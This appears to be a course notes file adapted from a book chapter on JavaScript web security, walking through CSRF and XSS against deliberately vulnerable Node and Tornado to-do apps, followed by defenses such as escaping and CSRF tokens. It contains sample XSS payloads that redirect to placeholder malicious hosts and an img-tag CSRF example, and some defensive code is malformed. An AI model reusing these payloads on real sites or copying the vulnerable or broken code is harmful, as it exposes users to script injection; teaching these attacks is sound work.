Branch: master netcom_advanced_python / day-4 / js-security.md Find file Copy path

t-0-m-1-3 edited final day 8960422 41 seconds ago

1 contributor

1403 lines (1230 sloc) 57.1 KB Raw Blame History

JavaScript and the Web

First of all, welcome to the book! In this chapter, I will give a very high-level overview of JavaScript, such as some of the basic things it can do on the Web both on the client side and on the server side. After that, I will dive into some of the basic examples of JavaScript security issues. Here's what we will learn in this chapter: * The relationship of JavaScript with HTML/CSS * Some basic usage of jQuery, a popular JavaScript library * A high-level overview of JavaScript security

JavaScript and your HTML/CSS elements

JavaScript provides behavior to your web pages. From changing your HTML elements' positioning to performing Ajax operations, there are many things that JavaScript can do now compared to just a few years ago. Here's just a basic list of things that JavaScript can do: * Perform animation * Add in content * Create single-page applications * Use third-party JavaScript widgets, such as Google Analytics and Facebook's social plugins

Most importantly, with the rise of JavaScript libraries, such as jQuery, AngularJS, ReactJS, and more, achieving all this has never been easier. We'll see multiple examples of JavaScript with the use of jQuery just to give you a taste of some of the code we will see and use throughout this book.

JavaScript security issues

JavaScript is becoming ubiquitous and more popular now. However, it has some security issues if not used properly. Two of the most commonly known examples are **cross-site request forgery** (CSRF) and **cross-site scripting**.

Cross-site request forgery

- cross-site request forgery refers to a type of malicious exploitation of a website where unauthorized commands are transmitted from an unknowing user that the website trusts.

The following straightforward example involves Ajax requests: go back to earlier sections where we talked about POST requests. Imagine that your server endpoint does not defend itself against an Ajax request made outside of your domain name, and somehow, malicious POST requests are made.

That particular request can somehow be made to alter your database information and more. You may argue that we can make use of CSRF tokens (a common technique to prevent cross-domain requests and a way to provide greater security to the site) as a security measure, but it is not entirely safe.

For instance, the script that is performing the attack could be residing in the website itself; the site could have been hijacked with malicious script in the first place.

In addition, if some of the following conditions are met, CSRF can be achieved: * The defending websites do not check the referrer header * The attacker will need to: * Find a form submission endpoint (that typically has important side effects, such as monetary exchange or exchange of highly personal information) * Guess the right values for the form inputs in order to carry out the attack

Cross-site scripting

Cross-site scripting (XSS) enables attackers to inject a client-side script (usually JavaScript) into web pages that are used by users.

The general idea is that attackers use the known vulnerabilities of web-based applications, servers, plugin systems (such as WordPress), or even third-party JavaScript plugins to serve malicious scripts or content from the compromised site.

The end result is that the compromised site ends up sending content that contains the malicious content/script. If the content happens to be a piece of malicious JavaScript, then the results can be disastrous: since we know that JavaScript has global access to the web page, such as the DOM, and given the fact that that piece of JavaScript can have access to the cookies issued by the site (thus allowing the attacker to gain access to potentially useful information), that piece of JavaScript can do the following: * Make changes on the DOM so that it creates links, malicious content, and more * Perform actions on behalf of the user, such as performing web form submissions or Ajax operations straight from the site

Secure Ajax RESTful APIs

- we build a RESTful server, and write some frontend code on top of it so that we can create a simple to-do list app. The app is extremely simple: add and delete to-do items, after which we'll demonstrate one or two ways in which RESTful APIs can be laden with security flaws

Building a RESTful server

A simple RESTful server in Node.js and Express.js

We'll build a RESTful server using Node.js and Express.js 4.x. This RESTful server contains a few endpoints: * /api/todos: * GET: This endpoint gets a full list of to-do items * POST: This creates a new to-do item www.it-ebooks.info Secure Ajax RESTful APIs * /api/todos/🆔 * POST: This deletes a to-do item

- The source code for this section can be found at chapter2/node/server.js
- Let's start by initializing the code:

```
var express         = require('express');
var bodyParser = require('body-parser');
var app             = express();
app.use(bodyParser());
var port         = process.env.PORT || 8080; // set our port
var mongoose        = require('mongoose');
mongoose.connect('mongodb://127.0.0.1/todos'); // connect to our
database
var Todos         = require('./app/models/todo');
var router = express.Router();
// middleware to use for all requests
router.use(function(req, res, next) {
  // do logging
  console.log('Something is happening.');
  next();
});
```

- What we did here is that we first imported the required libraries. We then set our port at 8080, following which we connect to MongoDB via Mongoose and its associated database name.

Next, we defined a router using `express.Router()` . After this piece of code, include the following:

```
    router.get('/', function(req, res) {
       // Renders the file for the front end
      res.sendfile('todos.html')
    });
    router.route('/todos')

 .post(function(req, res) {
    var todo = new Todos();
    todo.text = req.body.text;
    todo.details = req.body.details;
    todo.done = true;
    todo.save(function(err) {
      if (err)
        res.send(err);
      res.json(todo);
    });
 })
 .get(function(req, res) {
    Todos.find(function(err, _todos) {
      if (err)
        res.send(err);
      var todos = {
        'todos':_todos
      }
      res.json(todos);
    });
 });
router.route('/todos/:_id')
 .post(function(req, res) {
    Todos.remove({
      _id: req.params._id
    }, function(err, _todo) {
      if (err)
        res.send(err);
      var todo = {
        _id: req.params._id
      }
      console.log("--- todo");
      console.log(todo);
      res.json(todo);
    });
 });
```

- What we have here are the major API endpoints to get a list of to-do items, delete a single item, and create a single to-do item.

Frontend code for the to-do list app on top of Express.js

- refer to chapter2/node/todos.html to see the full source code.

```
    <!DOCTYPE html>
    <html lang="en">
      <head>
         <title>Sample To do</title>
         <!-- Bootstrap core CSS -->
         <link href="//netdna.bootstrapcdn.com/bootstrap/3.1.1/css/
    bootstrap.min.css" rel="stylesheet">
        <style>
    /* css code omitted */
```

```
          </style>
           <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and
      media queries -->
           <!--[if lt IE 9]>
              <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/
      html5shiv.js"></script>
              <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/
      respond.min.js"></script>
           <![endif]-->
        </head>
        <body>
           <div class="container">
              <div class="header">
                <ul class="nav nav-pills pull-right">
           <li class="active"><a href="#">Home</a></li>
           <li><a href="#">About</a></li>
           <li><a href="#">Contact</a></li>
         </ul>
         <h3 class="text-muted">Sample To do Node.js Version</h3>
       </div>
       <div class="jumbotron">
         <h1>Sample To Do</h1>
         <p class="lead">So here, we learn about RESTful APIs</p>
         <p><button id="toggleTodoForm" class="btn btn-lg btn-success"
         href="#" role="button">Add To Do</button></p>
         <div id="todo-form" role="form">
           <div class="form-group">
              <label>Title</label>
              <input type="text" class="form-control" id="todo_title"
              placeholder="Enter Title">
           </div>
           <div class="form-group">
              <label>Details</label>
              <input type="text" class="form-control" id="todo_text"
              placeholder="Details">
           </div>
           <p><button id="addTodo" class="btn btn-lg">Submit</button>
           </p>
         </div>
       </div>
       <div class="row marketing">
         <div id="todos" class="col-lg-12">
         </div>
       </div>
       <div class="footer">
         <p>&copy; Company 2014</p>
       </div>
     </div> <!-- /container -->
     <!-- Bootstrap core JavaScript
     ================================================== -->
     <!-- Placed at the end of the document so the pages load faster
 -->
            <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.
            min.js"></script>
            <script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/
            bootstrap.min.js"></script>
            <script>
            // javascript code omitted
            </script>
        </body>
     </html>
```

The preceding code is basically the HTML template that gives a structure and layout to our app.

If you have not noticed already, this template is based on Bootstrap 3's basic examples.

Some of the CSS code is omitted due to space constraints; feel free to check the source code for it.

Next, you will see that a block of JavaScript code is being omitted; this is the meat of this file:

```
            function todoTemplate(title, body, id) {
               var snippet = "<div id=\"todo_"+id+"\"" + "<h2>"+title+"</
               h2>"+"<p>"+body+"</p>";
               var deleteButton = "<a class='delete_item' href='#'
               id="+id+">delete</a></div><hr>";
               snippet += deleteButton;
               return snippet;
            }
            function getTodos() {
               // simply get list of to-dos when called
               $.get("/api/todos", function(data, status) {
                  var todos = data['todos'];
                  var htmlString = "";
                  for(var i = 0; i<todos.length;i++) {
                    htmlString += todoTemplate(todos[i].text, todos[i].details,
                    todos[i]._id);
     }
                  $('#todos').html(htmlString);
               })
            }
            function toggleForm() {
               $("#toggleTodoForm").click(function() {
                  $("#todo-form").toggle();
   })
}
function addTodo() {
   var data = {
      text: $('#todo_title').val(),
      details:$('#todo_text').val()
   }
   $.post('/api/todos', data, function(result) {
      var item = todoTemplate(result.text, result.details, result._
      id);
      $('#todos').prepend(item);
      $("#todo-form").slideUp();
   })
}
$(document).ready(function() {
   toggleForm();
   getTodos();
   //deleteTodo();
   $('#addTodo').click(addTodo);
   $(document).on("click", '.delete_item', function(event) {
      var id = event.currentTarget.id;
   var data = {
        id:id
      }
      $.post('/api/todos/'+id, data, function(result) {
        var item_to_slide = "#todo_"+result._id;
        $(item_to_slide).slideUp();
      });
   });
})
```

These JavaScript functions make use of the basic jQuery functionality that we saw in the previous section.

Here's what each of the functions does: * `todoTemplate()` : This function simply returns the HTML that builds the appearance and content of a to-do item. * `toggleForm()` : This makes use of jQuery's toggle() function to show and hide the form that adds the to-do item. * `addToDo()` : This is the function that adds a new to-do item to our backend. It makes use of jQuery's post() method. * Finally, we have the `$(document).ready()` line, where we initialize our code. Save the file. Now, fire up your Express.js server by issuing the following command: `node server.js`

Add in some details, as follows:

- You should see that the added to-do form slides up, and a new to-do item is added.
- You can also delete the to-do items just to make sure that things are working all right.

Cross-origin injection

- at least one major security flaw in our app: our endpoints are exposed to cross-domain name operations.
- new file called `external_node.html`

```
<!DOCTYPE html>
    <html lang="en">
       <head>
          <title>Sample To do</title>
          <!-- Bootstrap core CSS -->
          <link href="//netdna.bootstrapcdn.com/bootstrap/3.1.1/css/
          bootstrap.min.css" rel="stylesheet">
          <!-- Custom styles for this template -->
          <link href="/static/css/custom.css" rel="stylesheet">
  <style>
  #todo-form {
    display:none;
  }
  </style>
  <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and
  media queries -->
  <!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/
    html5shiv.js"></script>
    <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/
    respond.min.js"></script>
  <![endif]-->
</head>
<body>
  <div class="container">
    <div class="header">
       <ul class="nav nav-pills pull-right">
         <li class="active"><a href="#">Home</a></li>
         <li><a href="#">About</a></li>
         <li><a href="#">Contact</a></li>
       </ul>
       <h3 class="text-muted">Sample To do</h3>
    </div>
    <div class="jumbotron">
       <h1>External Post FORM</h1>
       <p class="lead">So here, we learn about RESTful APIs</p>
       <p><button id="toggleTodoForm" class="btn btn-lg btn-success"
       href="#" role="button">Add To Do</button></p>
       <div id="todo-form" role="form">
         <!-- <script>alert("you suck");</script> -->
         <div class="form-group">
           <label>Title</label>
           <input type="text" class="form-control" id="todo_title"
           placeholder="Enter Title">
         </div>
         <div class="form-group">
           <label>Details</label>
                    <input type="text" class="form-control" id="todo_text"
                    placeholder="Details">
                </div>
                <p><button id="addTodo" class="btn btn-lg">Submit</button>
                </p>
              </div>
            </div>
            <div class="row marketing">
              <div id="todos" class="col-lg-12">
              </div>
            </div>
            <div class="footer">
              <p>&copy; Company 2014</p>
            </div>
        </div> <!-- /container -->
        <!-- Bootstrap core JavaScript
        ================================================== -->
        <!-- Placed at the end of the document so the pages load faster
        -->
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.
        min.js"></script>
        <script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/
        bootstrap.min.js"></script>
        <script>
        function todoTemplate(title, body) {
            var snippet = "<h2>"+title+"</h2>"+"<p>"+body+"</p><hr>";
            return snippet;
        }
        function getTodos() {
            // simply get list of to-dos when called
            $.get("/api/todos", function(data, status) {
              var todos = data['todos'];
              var htmlString = "";
              for(var i = 0; i<todos.length;i++) {
                 htmlString += todoTemplate(todos[i].text, todos[i].details);
              }
              $('#todos').html(htmlString);
            })
        }
        function toggleForm() {
            $("#toggleTodoForm").click(function() {
              $("#todo-form").toggle();
            })
        }
        function addTodo() {
            var data = {
              text: $('#todo_title').val(),
              details:$('#todo_text').val()
            }
            $.post('http://localhost:8080/api/todos', data, function(result)
    {
              var item = todoTemplate(result.text, result.details);
              $('#todos').prepend(item);
              $("#todo-form").slideUp();
            })
        }
        $(document).ready(function() {
            toggleForm();
            getTodos();
            $('#addTodo').click(addTodo);
        })
        </script>
       </body>
    </html>
```

- This file is very similar to our frontend code for our to-do app, but we are going to host it elsewhere.
- Bear in mind that the `$.post()` endpoint is now pointing to `http://localhost:8080/api/todos`.
- To host the file in another domain in your own localhost => try other ports.
  - serve `external_node.html` at `http://localhost:8888/external_ node.html`.

- click on the Add To Do button, and add in some text.
- Now, click on Submit. There are no animations in this form.
- Go back to `http://localhost:8080/api` and refresh it.
  - This is dangerous! see that without any security precautions, any external-facing APIs can be easily accessed and new content can be posted without your permission.
  - This can cause huge problems for you, as attackers can choose not to play by your rules and inject something sneaky, such as a malicious JavaScript.
- What makes a cross-origin post effective is that the attacker uses the end user's **logged-in status** to gain access to parts of an API on the target site that are behind a login wall.

Injecting JavaScript code

- Going back to `external_node.html` , try typing in some code.

```
alert("sorry, but you suck")
```

- Once submitted, go back to your to-do list app and refresh it. You should see the message
- We've just injected malicious code. We could have injected other stuff, such as links to weird sites and so on, but you get the idea.

Guessing the API endpoints

- how can an attacker know which endpoints to POST to? This can be done fairly easily.
  - For instance, you can make use of `Google Chrome Developer Tools` and observe endpoints being used.
- Let's try this out: go to http://localhost:8080/api and open your Chrome Developer Tools (assuming you are using Google Chrome).
  - click on `Network` .
  - Refresh your to-do app.
  - And finally, make a post.

You should notice that we have made a few GET api calls and the final POST call to our endpoint.

- **The final POST call, `todos` , followed by `/api` means that we are posting to `/api/todos` .**

If we are the attacker, the final step would be to derive the required parameters for the posting to go through;

this should be easy as well since we can simply observe our source code to check for the parameter's name.

Basic defense against similar attacks

- Prevent cross-origin posting of form values unless we are absolutely sure that we have a way to control (or at least know who can do it) the POST.
- For a start, we can prevent cross-origin posting without permissions.
  - For instance, here's what we can do to prevent cross-origin posting:
    - we first need to install `cookie-session` (https://github.com/expressjs/cookie-session)
    - `CSRF` (https://github.com/expressjs/csurf)
    - and then apply them inour `server.js` file.
- Install `CSRF` , simply run the command `npm install -g csrf`
- `server.js` file now look like this:

```
var  express        = require('express');
var  bodyParser = require('body-parser');
var  app            = express();
var  session        = require('cookie-session');
var  csrf      = require('csrf');
app.use(csrf());
app.use(bodyParser());
var port        = process.env.PORT || 8080; // set our port
var mongoose        = require('mongoose');
mongoose.connect('mongodb://127.0.0.1/todos'); // connect to our
database
var Todos        = require('./app/models/todo');
var router = express.Router();
```

Now, restart your server and try to POST from `external_node.html` . You should most likely receive an error message to the effect that you cannot POST from a different domain.

- The next technique is to **escape user input first** so that malicious input cannot be executed. Here's what we can do: we first write this new JavaScript function:

```
function htmlEntities(str) {
      return String(str).replace(/&/g, '&amp;').replace(/</g,
      '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}
```

Now, prepend it at the start of our JavaScript code block. Then, at our `todoTemplate()` , we need to make the following changes:

```
function todoTemplate(title, body, id) {
   var title = htmlEntities(title);
   var body = htmlEntities(body);
   var snippet = "<div id=\"todo_"+id+"\"" + "<h2>"+title+"</
   h2>"+"<p>"+body+"</p>";
   var delete_button = "<a class='delete_item' href='#'
   id="+id+">delete</a></div><hr>";
   snippet += delete_button;
   return snippet;
}
```

- What we did here is to perform a conversion of HTML entities such as the JavaScript code snippet.
  - There's a useful Node.js module called secure-filters that does exactly the same thing, if not better. Visit them at https://www.npmjs.org/package/secure-filters

Cross-site Scripting

- One of the most common JavaScript security attacks: cross-site scripting.

What is cross-site scripting?

- Cross-site scripting is a type of attack where the attacker injects code (basically things such as client-side scripting, which in our case is JavaScript) into the remote server.

- We did something similar: we posted `alert()` , which unfortunately gets saved into our database.

This alert() function gets fired off whenever we hit that page.

There are basically two types of cross-site scripting: **persistent and nonpersistent**.

Persistent cross-site scripting

Persistent cross-site scripting happens when the code injected by the attacker gets stored in a secondary storage, such as a database.

Nonpersistent cross-site scripting

- Nonpersistent cross-site scripting requires an unsuspecting user to visit a crafted link made by the attacker; as you may have guessed, if the unsuspecting user visits the specially crafted link, the code will be executed by the user's browser.

Examples of cross-site scripting

- The error can occur in systems based on different programming/ scripting languages. In this section, we'll start with a RESTful backend based on Python and demonstrate how we can perform different types of cross-site scripting.

A simple to-do app using Tornado/Python

A simple RESTful to-do app, but now the difference is that the

Coding up server.py

- the code in this chapter is found in this chapter's code sample folder under the `python_server` folder.
- Kick off proceedings by importing and defining the important stuff:

```
import tornado.httpserver
import tornado.ioloop
import tornado.options
import tornado.web
import pymongo
from bson.objectid import ObjectId
from tornado_cors import CorsMixin
from tornado.options import define, options
import json
import os
define("port", default=8080, help="run on the given port", type=int)
```

- Imported the libraries we will need and defined 8080 for the port at which this server will run.
- Next, we need to define the URLs and other common settings. This is done via the `Application` class, which is discussed as follows:

```
class Application(tornado.web.Application):
   def __init__(self):
         handlers = [
            (r"/api/todos", Todos),
            (r"/todo", TodoApp)
         ]
         conn = pymongo.Connection("localhost")
         self.db = conn["todos"]
         settings = dict(
            xsrf_cookies=False,
            debug=True,
            template_path=os.path.join(os.path.dirname(__file__),
            "templates"),
            static_path=os.path.join(os.path.dirname(__file__),
            "static")
         )
         tornado.web.Application.__init__(self, handlers, **settings)
```

- We defined two URLs, `/api/todos` and `/todo` , We need to code the required classes that provide the meat of the functionalities.

- Code the `TodoApp` class and the `Todos` class as follows:

```
class TodoApp(tornado.web.RequestHandler):
   def get(self):
         self.render("todos.html")
class Todos(tornado.web.RequestHandler):
   def get(self):
         Todos = self.application.db.todos
         todo_id = self.get_argument("id", None)
         if todo_id:
            todo = Todos.find_one({"_id": ObjectId(todo_id)})
            todo["_id"] = str(todo['_id'])
            self.write(todo)
      else:
            todos = Todos.find()
            result = []
            data = {}
            for todo in todos:
                  todo["_id"] = str(todo['_id'])
                  result.append(todo)
            data['todos'] = result
            self.write(data)
def post(self):
      Todos = self.application.db.todos
      todo_id = self.get_argument("id", None)
      if todo_id:
            # perform a delete for example purposes
            todo = {}
            print "deleting"
            Todos.remove({"_id": ObjectId(todo_id)})
            # cos _id is not JSON serializable.
            todo["_id"] = todo_id
            self.write(todo)
      else:
            todo = {
                  'text': self.get_argument('text'),
                  'details': self.get_argument('details')
            }
            a = Todos.insert(todo)
            todo['_id'] = str(a)
            self.write(todo)
```

- `Todoapp` simply renders the `todos.html` file, which contains the frontend of the to-do list app.
- Next, the `Todos` class contains two HTTP methods: `GET` and `POST` .
- The GET method simply allows our app to retrieve one to-do item or the entire list of to-do items, while POST allows the app to either add a new to-do item or delete a to-do item.
- Initialize the app with the following piece of code:

```
def main():
     tornado.options.parse_command_line()
     http_server = tornado.httpserver.HTTPServer(Application())
     http_server.listen(options.port)
     tornado.ioloop.IOLoop.instance().start()
if __name__ == "__main__":
     main()
```

- Now, we need to code the `todos.html` file;
  - the `custom.css` and `external.html` files are the same as, Secure Ajax RESTful APIs.

You can now start the app by issuing the following command on your terminal:

```
python server.py
```

- Navigate to your browser on `http://localhost:8080/todo`
- Try out the app by clicking on the Add To Do button and type in some details,
- Click on the Submit button
- Confirmed that the app is working, let's attempt to perform cross-site scripting.

Cross-site scripting example 1

Now, let's try to perform a basic cross-site scripting example:

1. Open `external_node.html` from the previous chapter (Secure Ajax RESTful APIs) in new web server under a different port (such as port `8888`),and type in some basic text
2. Click on Submit. Now, go back to your app written in this chapter at `http://localhost:8080/todo` and refresh the browser. You should see the text being injected in to the web page
3. Now, let's create a to-do item that contains a JavaScript function `alert('gotcha')` As usual, click on Submit and refresh the app at `http://localhost:8080/todo` .

Cross-site scripting example 2

- To trick end users into clicking through a malicious link.
- Take an instance where we enter the following line on `http://localhost:8080/todo` :

for the todo:

```
<a href=# onclick="document.location='http://a-malicious-link.com/xss.php'">MaliciousLink 1</a>
```

for the details:

```
<a href=# onclick="document.location='http://a-malicious-link-2.com/css.php'">Malicious Link 2</a>
```

Now, imagine that these links are malicious and are public to other users.

You will notice that `onclick` will lead to a new URL other than our app; imagine this link is really malicious and leads to phishing sites, and so on.

Cross-site scripting example 3

- Cover a basic nonpersistent scripting example in this section.
- Earlier we discussed that nonpersistent cross-site scripting occurs where an unsuspecting user clicks on maliciously crafted URLs.
- To briefly understand what this means, open your favorite browser and try to type the following into the URL address bar: `javascript:alert("hi you!")` .
- The browser URL address bar is capable of executing JavaScript functions.
  - Imagine that the original URLs in our apps may be appended with malicious JavaScript functions; consider the following code for instance:

```
<a href="http://localhost:8080/todo?javascript:window.
onload=function(){var link=document.getElementsByTagName('a');link[0].
href='http://malicious-website.com/';}">This is an alert</a>
```

This code snippet assumes that our to-do app is hosted on `http://localhost:8080/ todo`.

- Most importantly, notice that we are changing the URL of the links found on the to-do app, pointing to `malicious-website.com`
- On a side note, it is definitely possible to change the URLs to point to malicious URLs directly without clicking on the malicious link first.
- If an unsuspecting user were to visit our to-do list app via the preceding link, the user will notice that he or she is redirected to `malicious-website.com` instead of just deleting the to-do items or visiting other parts of the website.

Defending against cross-site scripting

- This is by no means a comprehensive list of defenses against cross-site scripting, but it should be enough to get you started.

Do not trust users – parsing input by users

- Parse the user's input using various techniques

```
function htmlEntities(str) {
     return String(str).replace(/&/g, '&amp;').replace(/</g,
     '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}
```

- find this function in use at `python_server/templates/todos_secure.html`.

For ease of reference, the code snippet is being applied here as follows:

```
function htmlEntities(str) {
     return String(str).replace(/&/g, '&amp;').replace(/</g,
     '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}
function todoTemplate(title, body, id) {
   var title = htmlEntities(title);
   var body = htmlEntities(body);
     var snippet = "<div id=\"todo_"+id+"\"" + "<"<h2>"+title+"</
     h2>"+"<p>"+body+"</p>";
     var delete_button = "<a class='delete_item' href='#'
     id="+id+">+">delete</a></div><hr>";
     snippet += delete_button;
     return snippet;
  }
```

- Notice that the to-do item is first being escaped and returned as an HTML template for our app to insert into the browser screen.
- Another approach is to make use of auto-escape or similar utilities to escape the input first.
    - In Tornado's case, you can make use of the `autoescape` function. You can learn more about it at `http://tornado.readthedocs.org/en/latest/template.html`.

There are other ways and forms of protection as well:

- **HTML and JavaScript escaping/validating**: We have done this already.
- **Cookie security**: Although we did not cover it this chapter, it is possible to steal a user's cookie via the techniques we have described in this chapter. In this case, the defense will have to be done on the server side as well.
    - For example, the backend server can only allow the cookie to be used in conjunction with the IP address

    the end user signed up with in the first place.
  - This is generally useful, but not 100 percent foolproof.
  - You may also use HTTP only flags in your cookies so that JavaScript won't be allowed to access them.
- **Disable scripts**: This means you can either disable JavaScript or use as little JavaScript as possible. While disabling JavaScript is typically initiated by end users and because a lot of interaction is based on JavaScript, this might be difficult to achieve.

Cross-site Request Forgery

Topic is not exactly new, and believe it or not, we have already encountered this

Introducing cross-site request forgery

- Cross-site request forgery (CSRF) exploits the trust that a site has in a user's browser.
- It is also defined as an attack that forces an end user to execute unwantedactions on a web application in which the user is currently authenticated. We have seen at least two instances where CSRF has happened.

Examples of CSRF

We will now take a look at a basic CSRF example:

1. Go to the source code provided for this chapter and change the directory to `chp4/python_tornado` . Run the following command:

   `python xss_version.py`

2. Remember to start your MongoDB process as well

3. Next, open `external.html` found in templates, in another host, say `http://localhost:8888` . You can do this by starting the server, which can be done by running

   `python xss_version.py –port=8888` , and then visiting `http://loaclhost:8888/todo_external` .

4. Click on `Add To Do` , and fill in a new to-do item

5. Next, click on `Submit` . Going back to your to-do list app at `http://localhost:8000/todo` and refreshing it, you will see the new to-do item added to the databas

6. To attack the to-do list app, all we need to do is add a new item that contains a line of JavaScript

7. Now, click on Submit. Then, go back to your to-do app at `http://localhost:8000/todo` , and you will see two subsequent alerts

- Take note that this can happen to the other backend written in other languages as well. Now go to your terminal, turn off the Python server backend, and change the directory to `node/` . Start the node server by issuing this command: `node server.js`

This time around, the server is running at `http://localhost:8080`

Remember to change the `$.post()` endpoint to `http://localhost:8080` instead of `http://localhost:8000` in `external.html`

```
      function addTodo() {
        var data = {
           text: $('#todo_title').val(),
           details:$('#todo_text').val()
        }
        // $.post('http://localhost:8000/api/todos', data,
        function(result) {
          $.post('http://localhost:8080/api/todos', data,
          function(result) {
             var item = todoTemplate(result.text, result.details);
             $('#todos').prepend(item);
             $("#todo-form").slideUp();
          })
        }
```

9. Now, going back to `external.html` , add a new to-do item containing JavaScript
10. As usual, submit the item. Go to `http://localhost:8080/api/` and refresh; you should see two alerts (or four alerts if you didn't delete the previous ones).

- let's think about how such attacks can happen.
- Basically, such attacks can happen when our API endpoints (or URLs accepting therequests) are not protected at all.
- attackers can exploit such vulnerabilities by simply observing which endpoints are used and attempt to exploit them by performing a basic HTTP POST operation to it.

Basic defense against CSRF attacks

If you are using modern frameworks or packages, the good news is that you can easily protect against such attacks by **turning on or making use** of **CSRF** protection.

- for `server.py` , you can turn on `xsrf_cookie` by setting it to `True`

```
class Application(tornado.web.Application):
   def __init__(self):
         handlers = [
               (r"/api/todos", Todos),
               (r"/todo", TodoApp)
         ]
         conn = pymongo.Connection("localhost")
         self.db = conn["todos"]
         settings = dict(
               xsrf_cookies=True,
               debug=True,
               template_path=os.path.join(os.path.dirname(__file__),
               "templates"),
               static_path=os.path.join(os.path.dirname(__file__),
               "static")
         )
         tornado.web.Application.__init__(self, handlers, **settings)
```

- For the version of the node server, you can refer to `chp4/node/server_secure.js`

```
var  express      = require('express');
var  bodyParser = require('body-parser');
var  app          = express();
var  session      = require('cookie-session');
var  csrf      = require('csrf');
app.use(csrf());
app.use(bodyParser());
```

Other examples of CSRF

CSRF can also happen in many other ways.

CSRF using the tags

This is a classic example. Consider the following instance: `<img src=http://yousite.com/delete?id=2 />` Should you load a site that contains this img tag, chances are that a piece of data may get deleted unknowingly.

What if there are times when you need to expose an API to an external app? For example, Facebook's Graph API,Twitter's API, and so on, allow external apps not only to read, but also write data totheir system. How do we prevent malicious attacks in this situation?

Other forms of protection

Using CSRF tokens may be a convenient way to protect your app from CSRF attacks, but it can be a hassle at times.

what about the times when you need to expose an API to allow mobile access? Or, your app is growing so quickly that you want to accelerate that growth by creating a Graph API of your own.

Creating your own app ID and app secret – OAuth-styled

- Creating your own app ID and app secret is similar to what the major Internet companies are doing right now:
- we require developers to sign up for developing accounts and to attach an application ID and secret key for each of the apps. Using this information, the developers will need to exchange OAuth credentials in order to make any API calls, as shown in the following screenshot:
- On the server end, all you need to do is look for the **application ID** and **secret key**; if it is not present, simply reject the request.

Checking the Origin header

Simply put, you want to check where the request is coming from.

The Origin header, in layman's terms, refers to where the request is coming from. There are at least two use cases for the usage of the Origin header, which are as follows:

- Assuming your endpoint is used internally (by your own web application) and checking whether the requests are indeed made from the same website, that is, your website.
- If you are creating an endpoint for external use, such as those similar to Facebook's Graph API, then you can make those developers register the website URL where they are going to use the API. If the website URL does not match with the one that is being registered, you can reject this request.
    - `Note that the Origin header can also be modified;`

Limiting the lifetime of the token

Assuming that you are generating your own tokens, you may also want to limit the lifetime of the token, for instance, making the token valid for only a certain time period if the user is logged in to your site. Similarly, your site can make this a requirement in order for the requests to be made; if the token does not exist, HTTP requests cannot be made.

Misplaced Trust in the Client

- Misplaced trust in the client generally means that if we, as developers, are overly trusting, especially in terms of how our JavaScript will run in the client
- We cannot simply assume that the JavaScript code will run as intended.

When trust gets misplaced

In general, while we try our best to write secure JavaScript code, we must recognize that the JavaScript code that we write will eventually be sent to a browser. With the existence of XSS/CSRF, code on the browser can be manipulated fairly easily

We will start off with a simple application, where we attempt to create a user

A simple example

Misplaced Trust in the Client

- We are going to code in this section is a simple user creation form, which sends the values to the backend/server side.
- On the client side, we are going to use JavaScript to prevent users from creating usernames with the a character and passwords containing the s character.

Building the server side – mistrust.py

- file `mistrust.py`

```
import    os.path
import    re
import    torndb
import    tornado.auth
import    tornado.httpserver
import    tornado.ioloop
import    tornado.options
import    tornado.web
import    unicodedata
import    json
from tornado.options import define, options
define("port", default=8000, help="run on the given port", type=int)

class Application(tornado.web.Application):
     def __init__(self):
         handlers = [
              (r"/", FormHandler)
         ]
         settings = dict(
              blog_title=u"Mistrust",
              template_path=os.path.join(os.path.dirname(__file__),
              "templates"),
              xsrf_cookies=False,
              debug=True
         )
         tornado.web.Application.__init__(self, handlers, **settings)
class FormHandler(tornado.web.RequestHandler):
     def get(self):
         self.render("mistrust.html")
     def post(self):
         print self.get_argument('username')
         print self.get_argument('password')
         data = {
              'success':True
         }
         self.write(data)
def main():
     tornado.options.parse_command_line()
     http_server = tornado.httpserver.HTTPServer(Application())
     http_server.listen(options.port)
     tornado.ioloop.IOLoop.instance().start()
if __name__ == "__main__":
     main()
```

Basically, we have only one handler, `FormHandler`, which shows the form when we hit the `/` URL.

The templates

- The client-side code. Create a new file in the `templates/` folder and name it `mistrust.html`.

```
<!DOCTYPE html>
<html lang="en">
   <head>
      <title>Mistrust Example</title>
      <!-- Bootstrap core CSS -->
      <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/
      bootstrap.min.css" rel="stylesheet">
      <style>
      #username-error, #password-error {
        color:red;
      }
      #success-msg, #fail-msg {
        display:none;
      }
      </style>
   </head>
   <body>
      <div class="container">
        <div class="header">
            <ul class="nav nav-pills pull-right">
               <li class="active"><a href="#">Home</a></li>
               <li><a href="#">About</a></li>
               <li><a href="#">Contact</a></li>
            </ul>
            <h3 class="text-muted">Mistrust Example</h3>
        </div>
        <div class="jumbotron">
            <h1>Create User</h1>
            <div id="success-msg" class="alert alert-success"
             role="alert">Success</div>
            <div id="fail-msg" class="alert alert-danger"
             role="alert">Oops, something went wrong</div>
            <div role="form">
               <div class="form-group">
               <label for="username">User Name </label><span
               id="username-error"></span>
               <input type="text" class="form-control" id="username">
            </div>
            <div class="form-group">
               <label for="password">Password </label><span id="password-
               error"></span>
               <input type="password" class="form-control" id="password">
            </div>
            <button id="send" type="submit" class="btn btn-success"
            disabled>Submit</button>
          </div>
       </div>
       <div class="footer">
          <p>&copy; Company 2014</p>
       </div>
     </div> <!-- /container -->
     <!-- Bootstrap core JavaScript
     <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.
      min.js"></script>
     <script src="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/
     bootstrap.min.js"></script>
  </body>
</html>
```

- Insert the following JavaScript code beneath `<script src="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>` :

```
